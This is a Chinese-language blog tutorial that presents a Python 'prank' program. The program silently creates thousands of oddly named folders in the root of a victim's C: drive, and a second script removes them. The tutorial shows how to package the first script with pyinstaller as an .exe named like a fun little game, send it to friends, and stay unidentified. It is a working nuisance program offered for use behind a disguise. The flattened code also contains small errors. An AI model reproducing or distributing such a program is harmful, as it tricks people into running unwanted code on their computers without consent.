您好,登錄后才能下訂單哦!
這篇文章主要介紹“用Python怎么實現C盤瞬間混亂的程序”,在日常操作中,相信很多人在用Python怎么實現C盤瞬間混亂的程序問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”用Python怎么實現C盤瞬間混亂的程序”的疑惑有所幫助!接下來,請跟著小編一起來學習吧!
1 前言
在煩勞日常生活中,為了給平凡的生活增添樂趣,常常會和朋友開一些玩笑。除了現實中的玩笑,對于學程序的人來說,自然也少不了網上的玩笑,所以今天小編給大家分享一個用python寫的惡搞小程序。大家都知道,電腦C盤如果占用空間過大,電腦就會很卡,所以這次小編選擇對C盤進行惡搞。(申明:本文僅用于學習參考,切不可用于其他。)
2 準備
這次的惡搞小程序,為python語言編寫,除了幾個內置模塊以外,還有一個用于打包py文件的模塊--pyinstaller。安裝方式為:在命令行輸入以下命令:
pip install pyinstaller
需要的模塊準備好后,直接導入使用。
3 創建代碼
import os,sys,random#導入模塊 def spoofCeate(): textList = ['哈哈','上當了','有意思嗎','你刪得完嗎','還是放棄吧','笑死我了','哈哈哈哈哈','可不要亂刪哦','小心別把自己的文件夾刪了哦']#生成文件的名字 path = 'C:\\'#C盤路徑 for i in range(65,91): for o in range(100): text = random.choice(textList) fileName = path+chr(i)+str(o)+text #采用26個大寫字母和0-100的數字,隨機生成的文本來命名 if not os.path.exists(fileName): os.mkdir(fileName) for i in range(97,122): for o in range(100): text = random.choice(textList) fileName = path+chr(i)+str(o)+text #采用26個小寫字母和0-100的數字,隨機生成的文本來命名 if not os.path.exists(fileName): os.mkdir(fileName) spoofCeate()
運行這些代碼后,會在運行電腦的C盤里面創建很多個文件夾,文件夾的名字為26個大小字母+0-100的數字+隨機選取的文本。只要你將這個代碼發給朋友,他一運行,就會神不知鬼不覺的在C盤下創建(24+24)*100個文件夾,等他哪天發現了,他也不知道是你干的,所以想想就很刺激
4 刪除代碼
因為友誼第一,所以為了不讓友誼的小船翻掉,小編又寫了一個刪掉創建的所有文件夾的程序。代碼如下:
import os,sys#導入模塊 def spoofDelete(): textList = ['哈哈','上當了','有意思嗎','你刪得完嗎','還是放棄吧','笑死我了','哈哈哈哈哈','可不要亂刪哦','小心別把自己的文件夾刪了哦'] #文件夾的名字 path = 'C:\\' #C盤路徑 for i in os.listdir(path): pathNow = os.path.join(path,i) for o in textList: if o in i: print(pathNow) os.rmdir(pathNow) #刪除含有給定關鍵字的文件夾 breakspoofDelete()
5 打包程序
因為有很多朋友電腦上沒有python環境,所以將代碼發給他,他也運行不了,于是小編又用python的第三方庫pyinstaller將代碼打包了。由于這次打包只需要將純代碼文件打包,所以直接使用以下命令就行了。
pyinstaller -F 超有趣的小游戲.py pyinsatller -F 恢復.py
最后打包成exe文件后,就可以直接發給朋友啦。
到此,關于“用Python怎么實現C盤瞬間混亂的程序”的學習就結束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學習,快去試試吧!若想繼續學習更多相關知識,請繼續關注億速云網站,小編會繼續努力為大家帶來更多實用的文章!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。